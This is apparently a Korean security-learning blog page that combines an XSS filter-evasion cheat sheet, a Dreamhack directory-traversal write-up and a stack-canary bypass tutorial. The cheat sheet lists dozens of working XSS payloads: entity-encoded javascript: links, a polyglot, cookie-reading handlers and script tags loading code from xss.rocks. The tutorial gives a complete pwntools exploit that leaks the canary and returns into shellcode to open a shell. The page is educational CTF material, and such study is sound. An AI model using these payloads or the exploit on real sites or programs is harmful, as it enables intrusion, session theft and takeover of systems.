<XSS STYLE="xss:expression(alert('XSS'))">

 

  • 로컬 .htc 파일을 이용한 XSS
  • .htc(HTML Components) 파일을 로드하여 JavaScript를 실행하는 방식.
  • 같은 도메인에서 .htc 파일을 로드해야 하므로, 공격자는 피해자의 서버에 업로드할 수 있어야 함.
<XSS STYLE="behavior: url(xss.htc);">

 

 

 

 

이어서....

 

 

XSS 로케이터(Polyglot)

  • 여러 컨텍스트에서 실행되는 다목적 XSS 페이로드.
  • HTML, JavaScript, URL 인코딩 등의 다양한 환경에서 동작 가능.
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
  • javascript: 스키마는 브라우저에서 JavaScript 실행을 유도하는 URL 스키마
  • /*-->는 주석을 닫는 시퀀스이지만, 일부 필터가 -->를 허용하는 경우를 노린 우회 기법
  • <title>, <style>, <textarea>, <script>, <xmp> 등의 태그는 보통 브라우저가 특별한 방식으로 해석함.
    • 예를 들어 <script> 내부에서는 HTML이 해석되지 않음.
    • <textarea> 내부에서는 브라우저가 HTML 태그를 일반 텍스트로 처리.
    • <xmp> 태그도 HTML을 일반 텍스트로 해석함.
  • 따라서 이러한 태그를 닫으면서 XSS 필터링을 우회하고, HTML 코드 실행을 유도할 수 있음.
  • <svg> 태그는 JavaScript 이벤트 핸들러를 실행할 수 있는 태그 중 하나.
  • onload 속성을 사용하여 JavaScript 실행을 유도.
  • 페이로드 분석:
    • onload='+/"/+/onmouseover=1/+/[*/[]/+alert(42);//'`
    • +/"/+/` 등의 기법은 문자열 필터를 우회하려는 목적으로 사용됨.
    • onmouseover=1/+/ → onmouseover 이벤트를 추가하여 실행 가능성을 높임.
    • [*/[]/+alert(42);//' → 일부 브라우저가 alert(42);를 해석하도록 함.

 

 

 

잘못된 A 태그 이용

  • <a> 태그 내 이벤트 핸들러 (onmouseover)를 활용한 공격.
  • 일부 브라우저에서는 자동으로 따옴표를 추가하여 필터를 우회할 수 있음.
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
  • <a> 태그에 onmouseover 속성을 추가하여, 사용자가 링크에 마우스를 올리면 alert(document.cookie)가 실행됨.
  • 따옴표(", ') 없이 onmouseover 속성에 alert(document.cookie)를 직접 삽입.
  • 브라우저는 속성 값을 자동으로 해석하므로 따옴표 없이도 실행 가능.
  • 일부 XSS 필터가 따옴표를 기준으로 필터링할 경우 이를 우회하는 기법으로 사용됨.

 

 

 

잘못된 IMG 태그

  • <IMG> 태그 내에서 JavaScript 실행을 유도.
  • 따옴표가 누락된 경우에도 브라우저가 자동 수정할 수 있음.
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  • <IMG> 태그는 src 속성을 포함해야 하지만, 이 코드에는 src가 없음.
  • """> → 속성 값이 없는 빈 따옴표(""), >를 통해 속성을 닫으려는 시도.
  • 일부 브라우저는 잘못된 HTML을 자동으로 수정하면서 > 이후의 내용을 새로운 태그로 해석할 수 있음.
    • 즉, <SCRIPT> 태그가 독립적으로 실행될 가능성이 있음.
    • "> → 일부 브라우저가 속성 닫힘을 보정하며 <SCRIPT> 태그를 독립적으로 해석할 가능성이 있음.
    • 결과적으로 브라우저가 코드를 다음과 같이 처리할 수도 있음

 

 

 

CharCode를 이용한 필터 우회

  • String.fromCharCode()를 사용하여 JavaScript 코드 실행.
  • 따옴표가 허용되지 않는 환경에서 사용 가능.
<a href="javascript:alert(String.fromCharCode(88,83,83))">Click Me!</a>
  • <a> 태그의 href 속성에 javascript:를 사용하면, 사용자가 링크를 클릭할 때 JavaScript 코드가 실행됨.
  • 이벤트 핸들러 없이 XSS를 실행하는 방법 중 하나로, 일부 필터가 onmouseover, onclick 등의 이벤트만 차단하는 경우 이를 우회하는 데 사용될 수 있음.
  • String.fromCharCode(88,83,83)는 ASCII 코드(문자 코드)를 문자열로 변환하는 JavaScript 함수.
  • 88, 83, 83은 각각 **'X', 'S', 'S'**에 해당하므로 실행 결과는 "XSS"가 됨.

 

브라우저 href="javascript:..." src="javascript:..." (iframe) window.open("javascript:...") 주소창에 입력
Chrome (>=80) ✅ (가능) ❌ (차단됨) ❌ (차단됨) ❌ (차단됨)
Firefox (>=70) ✅ (가능) ❌ (차단됨) ❌ (차단됨) ❌ (차단됨, 설정 변경시 가능)
Edge ✅ (가능) ❌ (차단됨) ❌ (차단됨) ❌ (차단됨)
Safari (>=14) ✅ (가능) ❌ (차단됨) ❌ (차단됨) ❌ (차단됨)

 

 

 

 

SRC 필터를 우회하는 기본 IMG 태그

  • SRC 속성을 조작하여 이벤트 핸들러 실행.
  • <IMG> 태그의 onmouseover, onerror 등을 활용.
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
  • SRC=#는 사실상 무의미한 값이므로 브라우저는 이미지 로드 실패와 관계없이 onmouseover 이벤트를 실행.
  • SRC= (빈 값) → 대부분의 브라우저에서 현재 페이지 URL을 이미지 경로로 간주하여 요청하지만, onmouseover는 그대로 작동함.
  • SRC 속성이 없음 → 브라우저가 <IMG> 태그를 **렌더링 오류 이미지(깨진 이미지)**로 표시할 수 있음.
    • SRC 속성이 없어도 브라우저는 <IMG> 태그를 유효한 요소로 인식.

 

 

 

IMG onerror + JavaScript 인코딩

  • HTML 엔티티 인코딩을 사용하여 필터 우회.
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
  • onerror 속성 안의 값이 HTML 엔티티(10진수)로 인코딩된 JavaScript 코드임.
  • &#0000106; 같은 표현은 특정 ASCII 문자(예: j)를 나타냄.

    위 HTML 엔티티(10진수)를 디코딩하면 다음과 같은 자바스크립트 코드가 됨.

 

 

 

10진수 HTML 문자 참조

  • javascript: 스키마를 인코딩하여 필터를 우회.
  • &#106; 등의 HTML 코드 사용.
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">Click Me!</a>
  • href 속성값이 10진수 HTML 엔티티로 인코딩된 JavaScript 코드임.
    • 위 HTML 엔티티(10진수)를 디코딩하면 다음과 같은 자바스크립트 코드가 됨.

 

 

 

후행 세미콜론 없이 10진수 HTML 문자 참조

  • 일부 필터가 & 이후 ;로 끝나야 한다고 가정하는 점을 악용.
<a href="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">Click Me</a>
  • href 속성값이 0으로 패딩된 10진수 HTML 엔티티로 인코딩된 JavaScript 코드임.
    • 후행 세미콜론(;) 필터 우회 가능

 

 

 

후행 세미콜론 없이 16진수 HTML 문자 참조

  • 16진수 문자 참조를 활용하여 필터를 우회.
<a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29">Click Me</a>
  • href="..." 속성에 16진수 HTML 엔티티로 인코딩된 JavaScript 코드가 포함됨.
    • 후행 세미콜론(;) 필터 우회 가능

 

 

 

 

내장된 탭 (Embedded Tab)

  • javascript:를 포함한 XSS를 탐지하는 필터를 우회하기 위해 공백 또는 탭을 삽입.
  • 일부 필터는 javascript:를 연속된 문자열로 인식하므로, 사이에 탭을 삽입하면 탐지를 피할 수 있음.
<a href="jav   ascript:alert('XSS');">Click Me</a>

 

 

 

 

내장된 인코딩된 탭 (Embedded Encoded Tab)

  • 탭(\t)을 HTML 엔티티로 인코딩하여 필터를 우회.
  • &#x09;(탭 문자)를 삽입하면 브라우저가 이를 자동으로 디코딩하여 실행.
<a href="jav&#x09;ascript:alert('XSS');">Click Me</a>

 

 

 

내장된 줄바꿈을 이용한 JavaScript 분리

  • javascript: 문자열을 줄바꿈 문자(\n 또는 \r)로 분리하여 탐지를 우회.
  • ASCII 제어 문자 &#x0A;(줄바꿈) 및 &#x0D;(캐리지 리턴)를 활용.
<a href="jav&#x0A;ascript:alert('XSS');">Click Me</a>
<a href="jav&#x0D;ascript:alert('XSS');">Click Me</a>

 

 

 

Null 문자 (%00)를 이용한 JavaScript 지시문 분리

  • Null 문자(%00)는 일반적으로 문자열의 끝을 의미하지만, 일부 브라우저에서는 여전히 실행됨.
  • 특정 필터를 우회하기 위해 JavaScript 키워드 사이에 \0을 삽입.
<IMG SRC=java\0script:alert("XSS")>

 

 

 

JavaScript 앞의 공백 및 메타 문자 활용

  • javascript: 키워드 앞에 공백 또는 특수 문자를 삽입하여 필터링 우회.
  • 브라우저는 이를 무시하고 실행.
<a href=" &#14;  javascript:alert('XSS');">Click Me</a>

 

 

 

알파벳 및 숫자가 아닌 문자를 이용한 XSS

  • XSS 필터는 태그와 속성 사이의 공백을 요구하지만, 일부 브라우저는 특수 문자를 허용.
  • /, !, #, % 등의 문자를 활용하여 필터 우회.
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  • SCRIPT/XSS와 같이 슬래시(/)가 포함되어 있는데, 이는 일부 브라우저에서 무시될 수 있
  • 일부 웹 애플리케이션 필터는 <SCRIPT> 태그를 차단하지만, <SCRIPT/XSS>처럼 변형된 태그를 탐지하지 못할 수도
  • <BODY> 태그의 onload 속성은 페이지가 로드될 때 JavaScript를 실행하는 이벤트 핸들러
  • onload="alert('XSS')"처럼 정상적인 형태라면 XSS 필터에 의해 차단될 가능성이 높음.
  • 하지만 onload 속성과 등호(=) 사이에 특수문자를 삽입하여 필터를 우회하려고 시도.

 

 

 

스크립트 태그에서 프로토콜 확인 우회

  • <SCRIPT SRC="..."에서 http:// 대신 //를 사용하면 브라우저가 자동으로 현재 프로토콜을 적용.
  • .j 확장자를 사용하면 특정 브라우저에서 실행 가능.
<SCRIPT SRC=//xss.rocks/.j>
  • 일반적인 URL과 달리 http: 또는 https: 없이 //로 시작함.
  • 이는 **"스키마 상대 URL" (Protocol-relative URL)**이라고 불리며, 현재 사용 중인 프로토콜(HTTP 또는 HTTPS)을 자동으로 따라감.
  • 일반적인 JavaScript 파일 확장자는 .js이지만, .j 같은 변형을 사용하여 보안 필터를 우회할 수 있음.
  • 일부 웹 방화벽(WAF) 또는 필터링 시스템이 .js 파일만 차단하는 경우 .j를 사용하여 우회 가능.

 

 

 

열린 꺾쇠괄호 (<)을 활용한 필터 우회

  • 일부 탐지 엔진은 <SCRIPT> 태그를 찾을 때 완전한 문자열 매칭을 요구.
  • <<SCRIPT>와 같은 변형을 사용하여 우회 가능.
 
<<SCRIPT>alert("XSS");//\<</SCRIPT>

 

 

 

종료 태그 없이 XSS 실행

  • Firefox는 <SCRIPT> 태그의 종료(</SCRIPT>)를 자동으로 추가하는 특성이 있음.
  • 따라서 종료 태그 없이도 스크립트 실행 가능.
<SCRIPT SRC=http://xss.rocks/xss.js?< B >

 

 

 

 

이어서....

https://fight-hacker.tistory.com/33

 

XSS 필터링 우회2

이스케이프 문자 우회서버 측에서 따옴표를 이스케이프 처리해도, 이스케이프 문자를 활용하여 우회 가능.var a="\\\\";alert('XSS');//";JSON이나 JavaScript 이스케이프가 적용됐지만 HTML 인코딩이 적용되

fight-hacker.tistory.com

 

 

 

 

문제 코드 분석 ㄱ

간단한 파일을 생성하고 다운로드하는 웹 페이지 같다.

 

 

savedownload 엔드포인트에서 filename 값을 그대로 os.path.join()을 사용하여 파일 경로를 만들고 있다.

이 경우, 사용자가 ../../../etc/passwd 같은 값을 입력하면 filepath가 /etc/passwd와 같은 시스템 파일로 변경될 수 있다.

☞  디렉터리 트래버설 (Directory Traversal) 취약점

 

 

 

이 취약점을 사용해서 passwd  파일을 다운로드 시도

 

 

etc/passwd 파일이 정상적으로 다운로드 된 것을 확인

 

 

 

flag 파일의 경로를 몰라서 여러 시도를 해봤다

 

 

플래그 획득!

 

 

 

 

 

'웹 해킹 > 드림핵' 카테고리의 다른 글

[드림핵] web-ssrf 문제 풀이  (0) 2025.03.13
[드림핵] Tomcat Manager 풀이  (0) 2024.10.29
[드림핵] [wargame.kr] tmitter 풀이  (0) 2024.10.29
[드림핵] CSP Bypass Advanced 풀이  (1) 2024.09.02

 

아래 글을 보고 읽으면 더 이해가 잘 될 것이다

 

[시스템] 스택 카나리 우회(Canary)

이전 학습 ↓ [시스템] 스택 카나리 분석(Canary)카나리 정적 분석 스택 버퍼 오버플로우 취약점이 존재하는 코드#include int main() { char buf[8]; read(0, buf, 32); return 0;}   gcc는 기본적으로 스택 카나

fight-hacker.tistory.com

 

 

 


 

코드 설명

buf 주소 및 rbpbuf 사이의 주소 차이를 출력하고

(버퍼의 주소를 알거나 구할 수 있어야 공격이 가능)

스택 버퍼인 buf에 두 번의 입력을 받는다

이때 두 번 모두 오버플로우가 발생한다

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

 

스택 구조

 

+------------------------+  <- 낮은 주소
| buf[0x50] (80 bytes) |  <- 입력 버퍼
+------------------------+
Canary                 |  <- 스택 카나리 (스택 오버플로우 방지)
+------------------------+
| Saved $rbp           |  <- 이전 프레임의 베이스 포인터
+------------------------+
| Return Address    | <- 복귀 주소 
+------------------------+  <- 높은 주소

 

 

 

두번째 입력으로 반환 주소(rbp)를 덮을 수 있지만, 중간에 카나리까지 덮여진다

카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다

 

그러므로 첫 번째 입력에서 buf에 오버플로우를 발생시켜서

카나리 값을 알아낸 후 이를 두 번째 입력에 사용해야 한다

 

 

 


실습

 

 

 

위 소스코드를 컴파일

-zexecstack 옵션은 스택에 실행 권한을 부여하여, 스택에서 실행되는 코드를 허용함

 

 

 

 

리눅스에는 다양한 바이너리 보호기법이 존재

checksec - 보호기법을 파악할 때 사용하는 툴

RELRO, STACK CANARY, PIE 등의 보호기법이 적용되어 있는 것을 확인

 

 

 

 

 

익스플로잇 코드

 

def slog(n, m): return success(': '.join([n, hex(m)]))

익스플로잇 진행 중 로그를 표시한다

 

p = process('./r2s')

바이너리를 실행하여 프로세스 시작

 

p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)

프로그램 출력에서 "buf: "까지 읽는다

buf의 주소를 16진수로 변환하여 저장

 

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8

buf와 $rbp 사이의 거리를 계산

buf카나리 사이의 거리를 계산

 

payload = b'A'*(buf2cnry + 1)
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))

buf카나리 사이의 거리(buf2cnry)만큼 패딩('A')을 채워 카나리를 노출

+1은 첫 번째 null 바이트를 고려한 추가 길이다

p.sendafter - 카나리 값을 읽기 위해 패이로드를 전송

노출된 카나리 값을 읽고 64비트 정수로 변환한다(카나리는 항상 첫 바이트는 널이므로 \x00으로 채운다)

 

sh = asm(shellcraft.sh())

pwntools의 쉘코드 생성 기능을 사용해 쉘을 실행하는 기계어 코드를 생성

 

payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)

스택에 실행 가능한 쉘코드 + 패딩(카나리까지 거리) + 알아낸 카나리 값 + 패딩(8 바이트) + buf

|              buf[0x50] (80 bytes)                                   | + |        Canary        | + | Saved $rbp| + | Return Address |

리턴 주소를 buf로 덮어써서 buf의 쉘코드가 실행되도록 한다

 

p.interactive()

익스플로잇 실행 후, 쉘과 상호작용할 수 있는 상태로 진입

 

 

 

전체 코드

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

 

 

 

익스플로잇 코드 실행 결과

 

 

성공!

 

+ Recent posts